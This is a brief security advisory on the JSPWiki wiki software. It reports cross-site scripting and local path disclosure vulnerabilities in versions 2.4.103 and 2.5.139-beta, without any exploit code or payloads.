Background
------------------------------------------------------------
JSPWiki is wiki software built around the standard J2EE components of
Java, servlets and JSP. It was written by Janne Jalkanen and released
under the LGPL. The Sun Java System Portal Server includes it as one
of its core applications. It is primarily used for company intranets
and has an active developer community, also including the i3G
Institute of the Heilbronn University.

Description
------------------------------------------------------------
Multiple Cross Site Scripting vulnerabilities have been discovered
within the JSPWiki application, successfully allowing an attacker to
steal credentials, falsify posts, and persistently deface portions of
the site.  Additionally, a Local Path Disclosure vulnerability was
also discovered.



Affected Versions
------------------------------------------------------------
Each vulnerability was confirmed in versions 2.4.103 and 2.5.139-beta.
 The Cross Site Scripting vulnerability affecting the redirect
parameter is only found in version 2.5.139-beta.
